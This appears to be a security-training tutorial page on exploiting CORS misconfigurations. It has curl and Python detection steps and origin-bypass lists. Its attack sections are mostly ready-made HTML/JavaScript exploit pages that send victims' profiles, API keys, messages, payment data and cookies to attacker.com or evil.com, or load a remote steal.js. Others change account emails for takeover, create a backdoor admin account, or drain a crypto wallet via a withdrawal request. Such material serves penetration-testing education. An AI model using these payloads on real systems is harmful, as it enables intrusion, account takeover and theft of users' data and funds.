Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

CORS Misconfiguration

Cross-Origin Resource Sharing (CORS) Misconfiguration is a web security vulnerability that occurs when a web application improperly configures its CORS policy, allowing unauthorized domains to access sensitive resources. This can lead to data theft, account compromise, and unauthorized actions.

How It Works

CORS is a browser security feature that restricts web pages from making requests to a different domain than the one serving the page. When misconfigured, it can allow malicious sites to read sensitive data:

// Vulnerable CORS configuration on server
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

// Attacker's page can now read sensitive data
fetch('https://victim-site.com/api/user', {
credentials: 'include'
}).then(r => r.json()).then(data => {
// Send stolen data to attacker
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});

Detection

Manual Testing

Basic CORS Tests

Testing for CORS misconfigurations:

# Step 1: Make request with Origin header
curl -H "Origin: https://evil.com" \
https://target.com/api/user \
-v

# Step 2: Check response headers
# Look for:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

# Step 3: If both present: Vulnerable
# Attacker domain can read response with credentials

# Step 4: Test wildcard
curl -H "Origin: https://random-domain.com" \
https://target.com/api/user \
-v

# If ACAO reflects any origin: Misconfigured

Credential Test

Testing if credentials are allowed:

# Send Origin with credentials request
curl -H "Origin: https://evil.com" \
-H "Cookie: session=abc123" \
https://target.com/api/sensitive \
-v

# Check for both headers:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

# If both present: High severity vulnerability
# Attacker can steal data while victim is logged in

Null Origin Test

Testing null origin acceptance:

# Some apps allow null origin
curl -H "Origin: null" \
https://target.com/api/user \
-v

# Check response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

# If both present: Vulnerable
# Can be exploited via sandboxed iframe

Subdomain Test

Testing subdomain trust:

# If target.com has subdomain CORS
curl -H "Origin: https://attacker.target.com" \
https://target.com/api/user \
-v

# Or any subdomain:
curl -H "Origin: https://evil.target.com" \
https://target.com/api/user \
-v

# If ACAO reflects subdomain: Vulnerable
# Attacker who controls any subdomain can exploit

Pre-flight Request Test

Testing preflight OPTIONS request:

# OPTIONS request before actual request
curl -X OPTIONS \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: POST" \
-H "Access-Control-Request-Headers: Content-Type" \
https://target.com/api/update \
-v

# Check response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 3600

# If allows attacker origin: Vulnerable

Automated Discovery

Using Burp Suite

# Step 1: Configure Burp to test CORS
# Proxy > Options > Match and Replace
# Add rule:
# Type: Request header
# Match: ^Origin: .*
# Replace: Origin: https://evil.com

# Step 2: Browse application
# Check for ACAO headers in responses

# Step 3: Use Burp Extensions
# Install: CORS Scanner
# Install: CORScanner
# Install: Corsy

# Step 4: Send interesting requests to Repeater
# Add Origin header
# Test different origin values

Using CORScanner

# Basic scan
python cors_scan.py -u https://target.com

# Scan specific endpoint
python cors_scan.py -u https://target.com/api/user

# With authentication
python cors_scan.py -u https://target.com/api/user \
-H "Cookie: session=abc123"

# Scan from file
python cors_scan.py -i urls.txt \
-o results.json

# Advanced options
python cors_scan.py -u https://target.com \
-t 20 \
--headers "Authorization: Bearer TOKEN" \
--verbose

Using Custom Scripts

# Python CORS testing script
import requests

def test_cors(url, origin):
headers = {
'Origin': origin,
'Cookie': 'session=your_session' # If testing authenticated endpoint
}

response = requests.get(url, headers=headers)

acao = response.headers.get('Access-Control-Allow-Origin')
acac = response.headers.get('Access-Control-Allow-Credentials')

if acao and origin in acao:
if acac == 'true':
return 'VULNERABLE', f'ACAO: {acao}, ACAC: {acac}'
else:
return 'REFLECTED', f'ACAO: {acao} (no credentials)'
elif acao == '*':
if acac == 'true':
return 'INVALID', 'Wildcard with credentials (browser blocks this)'
else:
return 'WILDCARD', 'Wildcard ACAO (no credentials)'

return 'SECURE', 'No CORS misconfiguration detected'

# Test different origins
target = "https://target.com/api/user"
origins_to_test = [
"https://evil.com",
"https://attacker.target.com",
"http://target.com",
"null",
"https://target.com.evil.com"
]

for origin in origins_to_test:
status, details = test_cors(target, origin)
print(f"[{status}] Origin: {origin} - {details}")

Attack Vectors

Reflected Origin Exploit

Exploiting reflected origin headers:

<!-- Attacker's page at https://evil.com -->
<html>
<body>
<h1>Loading...</h1>
<script>
// Victim visits this page while logged into target.com
fetch('https://target.com/api/user/profile', {
credentials: 'include' // Send cookies
})
.then(response => response.json())
.then(data => {
// Steal sensitive data
console.log('Stolen data:', data);

// Send to attacker's server
fetch('https://attacker.com/collect', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
victim_data: data,
cookies: document.cookie
})
});

// Optional: redirect to hide attack
setTimeout(() => {
window.location = 'https://target.com';
}, 500);
});
</script>
</body>
</html>

Null Origin Exploit

Exploiting null origin acceptance:

<!-- Null origin can be triggered via sandboxed iframe -->
<html>
<body>
<iframe sandbox="allow-scripts allow-top-navigation"
srcdoc="
<script>
fetch('https://target.com/api/user', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Send stolen data to parent
parent.postMessage(data, '*');
});
</script>
"></iframe>

<script>
// Receive stolen data
window.addEventListener('message', (event) => {
console.log('Stolen data:', event.data);

// Send to attacker server
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(event.data)
});
});
</script>
</body>
</html>

Subdomain Takeover Chain

Chaining subdomain takeover with CORS:

# Step 1: Find vulnerable subdomain
# old.target.com points to deleted S3 bucket

# Step 2: Take over subdomain
# Create S3 bucket with same name
# Host malicious page

# Step 3: Exploit CORS
# If target.com allows *.target.com origins
# Your malicious page at old.target.com can:

<script>
fetch('https://target.com/api/admin', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Steal admin data
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>

Pre-flight Bypass

Exploiting missing preflight checks:

<script>
// Simple requests don't trigger preflight
// Content-Type: text/plain doesn't trigger preflight

fetch('https://target.com/api/update', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
email: 'attacker@evil.com',
role: 'admin'
})
});

// If server parses JSON regardless of Content-Type
// Attack succeeds without preflight check
</script>

Credential Theft

Stealing user credentials and tokens:

// Attacker's page
<script>
// Steal user profile
fetch('https://target.com/api/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(profile => {
// Steal API keys
return fetch('https://target.com/api/keys', {
credentials: 'include'
})
.then(r => r.json())
.then(keys => {
// Combine all stolen data
return {
profile: profile,
api_keys: keys,
cookies: document.cookie
};
});
})
.then(allData => {
// Send everything to attacker
fetch('https://attacker.com/collect', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(allData)
});
});
</script>

Bypass Techniques

Origin Manipulation

Bypassing origin validation:

# If validation checks for "target.com"

# Subdomain confusion
Origin: https://target.com.evil.com
Origin: https://evil.target.com

# Using @ symbol
Origin: https://target.com@evil.com

# Port manipulation
Origin: https://target.com:8080
Origin: https://target.com:443

# Protocol variation
Origin: http://target.com
Origin: https://target.com

# With path
Origin: https://target.com/any/path
# (Origin shouldn't have path, but some parsers allow it)

Null Origin Bypass

Exploiting null origin:

<!-- Method 1: Sandboxed iframe -->
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://target.com/api/data', {
credentials: 'include'
}).then(r => r.json()).then(data => {
parent.postMessage(data, '*');
});
</script>
"></iframe>

<!-- Method 2: Data URI -->
<iframe src="data:text/html,
<script>
fetch('https://target.com/api/data', {
credentials: 'include'
}).then(r => r.json()).then(console.log);
</script>
"></iframe>

<!-- Method 3: File protocol (local file) -->
<!-- Save as file and open in browser -->

Regex Bypass

Bypassing regex-based validation:

# If regex checks: /^https?:\/\/[\w.]*target\.com$/

# Subdomain bypass
Origin: https://evil.target.com
Origin: https://target.com.evil.com

# Character injection
Origin: https://target.com%0D%0AEvil: header

# Null byte (old systems)
Origin: https://target.com%00.evil.com

# Backtick (if not escaped in regex)
Origin: https://target`.com.evil.com

# Unicode characters
Origin: https://target․com # Using unicode dot
Origin: https://tаrget.com # Using Cyrillic 'а'

Pre-flight Bypass

Bypassing preflight OPTIONS checks:

// Simple requests don't require preflight:
// - Methods: GET, HEAD, POST
// - Headers: Accept, Accept-Language, Content-Language,
// Content-Type (with restrictions)
// - Content-Type: application/x-www-form-urlencoded,
// multipart/form-data, text/plain

// Exploit: Use simple request when server doesn't check
fetch('https://target.com/api/delete', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'text/plain'
},
body: 'action=delete&id=123'
});

// Or use GET for state-changing operation
fetch('https://target.com/api/delete?id=123', {
credentials: 'include'
});

Wildcard Bypass

Exploiting wildcard configurations:

# Access-Control-Allow-Origin: * is insecure but...
# Can't be used with credentials

# But if app dynamically sets ACAO:
if (origin) {
response.setHeader('Access-Control-Allow-Origin', origin);
response.setHeader('Access-Control-Allow-Credentials', 'true');
}

# This reflects any origin - vulnerable!

# Test with:
Origin: https://evil.com
# If reflected with credentials: Vulnerable

XSS to CORS Chain

Chaining XSS with CORS:

// If CORS blocks external origins
// But XSS exists on subdomain

// XSS on sub.target.com:
<script src="https://evil.com/steal.js"></script>

// steal.js:
fetch('https://target.com/api/admin', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});

// Works because request originates from sub.target.com
// which might be in CORS whitelist

Post-Exploitation

Complete Account Takeover

Full account compromise via CORS:

<html>
<body>
<script>
// Step 1: Get user profile
fetch('https://target.com/api/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(profile => {
console.log('[+] Got profile:', profile);

// Step 2: Change email to attacker's
return fetch('https://target.com/api/user/email', {
method: 'PUT',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
email: 'attacker@evil.com'
})
});
})
.then(() => {
console.log('[+] Email changed');

// Step 3: Request password reset
return fetch('https://target.com/api/password/reset', {
method: 'POST',
credentials: 'include'
});
})
.then(() => {
console.log('[+] Password reset sent to attacker email');
console.log('[+] Account takeover complete');
});
</script>
</body>
</html>

Data Exfiltration

Systematic data extraction:

// Comprehensive data theft script
const stealData = async () => {
const stolen = {};

// Steal profile
stolen.profile = await fetch('https://target.com/api/user', {
credentials: 'include'
}).then(r => r.json());

// Steal contacts
stolen.contacts = await fetch('https://target.com/api/contacts', {
credentials: 'include'
}).then(r => r.json());

// Steal messages
stolen.messages = await fetch('https://target.com/api/messages', {
credentials: 'include'
}).then(r => r.json());

// Steal payment methods
stolen.payments = await fetch('https://target.com/api/payment-methods', {
credentials: 'include'
}).then(r => r.json());

// Steal API keys
stolen.keys = await fetch('https://target.com/api/keys', {
credentials: 'include'
}).then(r => r.json());

// Exfiltrate all data
await fetch('https://attacker.com/collect', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(stolen)
});

console.log('[+] Data exfiltration complete');
};

stealData();

Cryptocurrency Theft

Stealing crypto wallets and keys:

<script>
// Target crypto exchange with CORS misconfiguration
fetch('https://crypto-exchange.com/api/wallet', {
credentials: 'include'
})
.then(r => r.json())
.then(wallet => {
// Get wallet address
console.log('Wallet:', wallet.address);
console.log('Balance:', wallet.balance);

// Initiate withdrawal to attacker's address
return fetch('https://crypto-exchange.com/api/withdraw', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
address: 'attacker_wallet_address',
amount: wallet.balance,
currency: 'BTC'
})
});
})
.then(r => r.json())
.then(result => {
console.log('[+] Withdrawal initiated:', result);
});
</script>

Admin Panel Access

Accessing administrative functions:

<script>
// Check if user has admin access
fetch('https://target.com/api/admin/users', {
credentials: 'include'
})
.then(r => {
if (r.status === 200) {
return r.json();
}
throw new Error('Not admin');
})
.then(users => {
console.log('[+] Admin access confirmed');
console.log('[+] User list:', users);

// Create backdoor admin account
return fetch('https://target.com/api/admin/users', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
username: 'backdoor',
password: 'backdoor123',
role: 'admin',
email: 'backdoor@evil.com'
})
});
})
.then(() => {
console.log('[+] Backdoor account created');
})
.catch(err => {
console.log('[-] Not admin:', err);
});
</script>

Common Tools

ToolDescriptionPrimary Use Case
CORScannerCORS misconfiguration scannerAutomated detection
Burp SuiteWeb vulnerability scannerManual testing
CorsyCORS scannerQuick scanning
CORS EverywhereBrowser extensionManual testing
Origin CheckerBrowser extensionQuick CORS checks
curlCommand-line toolManual header testing